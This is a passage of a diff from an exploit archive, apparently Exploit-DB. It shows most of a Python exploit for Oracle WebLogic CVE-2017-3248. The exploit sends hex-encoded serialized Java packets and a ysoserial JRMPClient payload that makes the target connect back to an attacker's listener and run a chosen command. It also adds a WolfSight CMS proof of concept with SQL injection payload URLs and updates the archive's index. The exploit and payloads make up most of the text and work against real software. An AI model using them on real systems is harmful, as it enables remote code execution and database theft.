64d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e32323700124141414141414141414141413154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd071a7727000d3131312e3131312e302e31313161863d1d0000000078'
+#C. Packet 3 to send:
+#C.1 length
+payload_3_1 = "000003b3"
+#C.2 first part
+payload_3_2 = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000'
+#C.3.1 sub payload
+payload_3_3_1 = 'aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
+#C.3.2 Ysoserial Payload generated in real time
+payload_3_3_2 = ""
+#C.4 End of the payload
+payload_3_4 = 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
+
+def runCmd(cmd):
+ proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
+ stdout_value = proc.stdout.read() + proc.stderr.read()
+ return stdout_value
+
+def getJrmpClientPayloadEncoded(attackerIp, attackerJRMPListenerPort, ysoPath):
+ completeCmd = CMD_GET_JRMPCLIENT_PAYLOAD.format(ysoPath, ARGS_YSO_GET_PAYLOD.format(attackerIp, attackerJRMPListenerPort))
+ print "[+] Ysoserial command (JRMP client): {0}".format(repr(completeCmd))
+ stdout = runCmd(cmd = completeCmd)
+ return stdout
+
+def exploit(targetIP, targetPort, attackerIP, attackerJRMPPort, cmd, testOnly=False, payloadType='CommonsCollections5', sslEnabled=False, ysoPath=""):
+ if testOnly == True:
+ attackerIP = "127.0.0.1"
+ attackerJRMPPort = 0
+ print "[+] Connecting to {0}:{1} ...".format(targetIP, targetPort)
+ if sslEnabled == True:
+ print "[+] ssl mode enabled"
+ s = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
+ else:
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ print "[+] ssl mode disabled"
+ s.connect((targetIP, targetPort))
+ print "[+] Connected to {0}:{1}".format(targetIP, targetPort)
+ print "[+] Sending first packet..."
+ #print "[S1] Sending {0}".format(repr(payload_1.decode('hex')))
+ s.sendall(payload_1.decode('hex'))
+ data = s.recv(4096)
+ #print '[R1] Received', repr(data)
+ print "[+] Sending second packet..."
+ #print "[S2] Sending {0}".format(repr(payload_2.decode('hex')))
+ s.sendall(payload_2.decode('hex'))
+ data = s.recv(4096)
+ #print '[R2] Received', repr(data)
+ print "[+] Generating with ysoserial the third packet which contains a JRMPClient payload..."
+ payload_3_3_2 = getJrmpClientPayloadEncoded(attackerIp=attackerIP, attackerJRMPListenerPort=attackerJRMPPort, ysoPath=ysoPath)
+ payload= payload_3_1 + payload_3_2 + payload_3_3_1 + payload_3_3_2 + payload_3_4
+ payload = payload.replace(payload_3_1, "0000{:04x}".format(len(payload)/2), 1)
+ sendata = payload.decode('hex')
+ if testOnly == False:
+ print "[+] You have to execute the following command locally:"
+ print " {0}".format(CMD_YSO_LISTEN.format(ysoPath, attackerJRMPPort, payloadType,cmd))
+ raw_input("[+] Press Enter when this previous command is running...")
+ print "[+] Sending third packet..."
+ #print "[S3] Sending {0}".format(repr(sendata))
+ s.sendall(sendata)
+ data = s.recv(4096)
+ s.close()
+ #print '[R3] Received', repr(data)
+ if testOnly == True:
+ if "cannot be cast to weblogic" in str(data):
+ print "[+] 'cannot be cast to weblogic' string in the third response from server"
+ print "\n{2}\n[-] target {0}:{1} is not vulnerable\n{2}\n".format(targetIP, targetPort, '-'*60)
+ else:
+ print "[+] 'cannot be cast to weblogic' string is NOT in the third response from server"
+ print "\n{2}\n[+] target {0}:{1} is vulnerable\n{2}\n".format(targetIP, targetPort, '-'*60)
+ else:
+ print "[+] The target will connect to {0}:{1}".format(attackerIP, attackerJRMPPort)
+ print "[+] The command should be executed on the target after connection on {0}:{1}".format(attackerIP, attackerJRMPPort)
+
+def main():
+ argsParsed = argparse.ArgumentParser(description=HELP_MESSAGE, formatter_class=RawTextHelpFormatter)
+ argsParsed.add_argument("-t", dest='target', required=True, help='target IP')
+ argsParsed.add_argument("-p", dest='port', type=int, required=True, help='target port')
+ argsParsed.add_argument("--jip", dest='attackerIP', required=False, help='Local JRMP listener ip')
+ argsParsed.add_argument("--jport", dest='attackerPort', type=int, default=3412, required=False, help='Local JRMP listener port (default: %(default)s)')
+ argsParsed.add_argument("--cmd", dest='cmdToExecute', help='Command to execute on the target')
+ argsParsed.add_argument("--check", dest='check', action='store_true', default=False, help='Check if vulnerable')
+ argsParsed.add_argument("--ssl", dest='sslEnabled', action='store_true', default=False, help='Enable ssl connection')
+ argsParsed.add_argument("--ysopath", dest='ysoPath', required=True, default=False, help='Ysoserial path')
+ argsParsed.add_argument("--payloadType", dest='payloadType', default="CommonsCollections5", help='Payload to use in JRMP listener (default: %(default)s)')
+ args = dict(argsParsed.parse_args()._get_kwargs())
+ if os.path.isfile(args['ysoPath'])==False:
+ print "[-] You have to give the path to Ysoserial with --ysopath (https://github.com/frohoff/ysoserial)!"
+ return -1
+ if args['check'] == False and args['attackerIP'] == None:
+ print "[-] You have to give an IP with --jip !"
+ return -1
+ elif args['check'] == False and args['cmdToExecute'] == None:
+ print "[-] You have to give a command to execute on the target with --cmd !"
+ return -1
+ if args['check'] == True:
+ print "[+] Checking if target {0}:{1} is vulnerable to CVE-2017-3248 without executing a system command on the target...".format(args['target'], args['port'])
+ exploit(targetIP=args['target'], targetPort=args['port'], attackerIP=None, attackerJRMPPort=None, cmd=None, testOnly=True, sslEnabled=args['sslEnabled'], ysoPath=args['ysoPath'])
+ else:
+ print "[+] Exploiting target {0}:{1}...".format(args['target'], args['port'])
+ exploit(targetIP=args['target'], targetPort=args['port'], attackerIP=args['attackerIP'], attackerJRMPPort=args['attackerPort'], cmd=args['cmdToExecute'], payloadType=args['payloadType'], testOnly=False, sslEnabled=args['sslEnabled'],ysoPath=args['ysoPath'])
+
+if __name__ == "__main__":
+ main()
\ No newline at end of file
diff --git a/exploits/php/webapps/44997.txt b/exploits/php/webapps/44997.txt
new file mode 100644
index 000000000..3705fe0c9
--- /dev/null
+++ b/exploits/php/webapps/44997.txt
@@ -0,0 +1,31 @@
+# Exploit Title: WolfSight CMS 3.2 - SQL Injection
+# Google Dork: N/A
+# Date: 2018-07-10
+# Exploit Author: Berk Dusunur & Zehra Karabiber
+# Vendor Homepage: http://www.wolfsight.com
+# Software Link: http://www.wolfsight.com
+# Version: v3.2
+# Tested on: Parrot OS / WinApp Server
+# CVE : N/A
+
+# PoC Sql Injection
+# Parameter: #1* (URI)
+# Type: error-based
+# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
+# Payload:
+
+http://www.ip/page1-%bf%bf"-page1/' AND (SELECT 7988 FROM(SELECT COUNT(*),CONCAT(0x717a766a71,(SELECT(ELT(7988=7988,1))),0x71766b7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'WpDn'='WpDn
+
+# Type: AND/OR time-based blind
+# Title: MySQL >= 5.0.12 OR time-based blind
+# Payload:
+
+http://www.ip/page1-%bf%bf"-page1/'OR SLEEP(5) AND 'kLLx'='kLLx
+
+# PoC Cross-Site Scripting
+# http://ip/admin/login.php
+# Username
+
+
+
+# This vulnerability was identified during bug bounty
\ No newline at end of file
diff --git a/files_exploits.csv b/files_exploits.csv
index 07951462d..34e62982a 100644
--- a/files_exploits.csv
+++ b/files_exploits.csv
@@ -16603,8 +16603,10 @@ id,file,description,date,author,type,platform,port
44985,exploits/windows/remote/44985.c,"PolarisOffice 2017 8 - Remote Code Execution",2018-07-06,hyp3rlinx,remote,windows,
44987,exploits/windows/remote/44987.txt,"Activision Infinity Ward Call of Duty Modern Warfare 2 - Buffer Overflow",2018-07-09,"Maurice Heumann",remote,windows,
44991,exploits/linux/remote/44991.rb,"HP VAN SDN Controller - Root Command Injection (Metasploit)",2018-07-09,Metasploit,remote,linux,8081
-44992,exploits/linux/remote/44992.rb,"HID discoveryd - command_blink_on Unauthenticated RCE (Metasploit)",2018-07-09,Metasploit,remote,linux,4070
+44992,exploits/linux/remote/44992.rb,"HID discoveryd - 'command_blink_on' Unauthenticated Remote Code Execution (Metasploit)",2018-07-09,Metasploit,remote,linux,4070
44993,exploits/php/remote/44993.rb,"GitList 0.6.0 - Argument Injection (Metasploit)",2018-07-09,Metasploit,remote,php,
+45000,exploits/linux_x86-64/remote/45000.c,"OpenSSH < 6.6 SFTP (x64) - Command Execution",2014-10-08,"Jann Horn",remote,linux_x86-64,
+45001,exploits/linux/remote/45001.py,"OpenSSH < 6.6 SFTP - Command Execution",2018-03-20,SECFORCE,remote,linux,
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
@@ -39627,7 +39629,6 @@ id,file,description,date,author,type,platform,port
44959,exploits/hardware/webapps/44959.py,"VMware NSX SD-WAN Edge < 3.1.2 - Command Injection",2018-07-02,ParagonSec,webapps,hardware,
44960,exploits/php/webapps/44960.html,"DAMICMS 6.0.0 - Cross-Site Request Forgery (Add Admin)",2018-07-02,bay0net,webapps,php,80
44964,exploits/php/webapps/44964.txt,"Dolibarr ERP CRM < 7.0.3 - PHP Code Injection",2018-07-02,om3rcitak,webapps,php,80
-44970,exploits/linux/webapps/44970.txt,"ModSecurity 3.0.0 - Cross-Site Scripting",2018-07-03,"Adipta Basu",webapps,linux,
44973,exploits/lua/webapps/44973.py,"ntop-ng < 3.4.180617 - Authentication Bypass",2018-07-03,"Ioannis Profetis",webapps,lua,
44975,exploits/java/webapps/44975.py,"ManageEngine Exchange Reporter Plus < Build 5311 - Remote Code Execution",2018-07-04,"Kacper Szurek",webapps,java,
44976,exploits/php/webapps/44976.py,"CMS Made Simple 2.2.5 - Remote Code Execution",2018-07-04,"Mustafa Hasan",webapps,php,
@@ -39636,3 +39637,8 @@ id,file,description,date,author,type,platform,port
44981,exploits/php/webapps/44981.txt,"SoftExpert Excellence Suite 2.0 - 'cddocument' SQL Injection",2018-07-05,"Seren PORSUK",webapps,php,80
44986,exploits/windows/webapps/44986.txt,"Airties AIR5444TT - Cross-Site Scripting",2018-07-06,"Raif Berkay Dincel",webapps,windows,80
44988,exploits/php/webapps/44988.txt,"Umbraco CMS SeoChecker Plugin 1.9.2 - Cross-Site Scripting",2018-07-09,"Ahmed Elhady Mohamed",webapps,php,
+44996,exploits/multiple/webapps/44996.py,"Gitea 1.4.0 - Remote Code Execution",2018-07-04,"Kacper Szurek",webapps,multiple,
+44997,exploits/php/webapps/44997.txt,"WolfSight CMS 3.2 - SQL Injection",2018-07-10,"Berk Dusunur",webapps,php,80
+44998,exploits/multiple/webapps/44998.py,"Oracle WebLogic 12.1.2.0 - RMI Registry UnicastRef Object Java Deserialization Remote Code Execution",2018-07-07,bobsecq,webapps,multiple,
+44999,exploits/linux/webapps/44999.txt,"Elektronischer Leitz-Ordner 10 - SQL Injection",2018-07-10,"Jens Regel",webapps,linux,
+45002,exploits/hardware/webapps/45002.py,"D-Link DIR601 2.02 - Credential Disclosure",2018-07-10,"Thomas Zuk",webapps,hardware,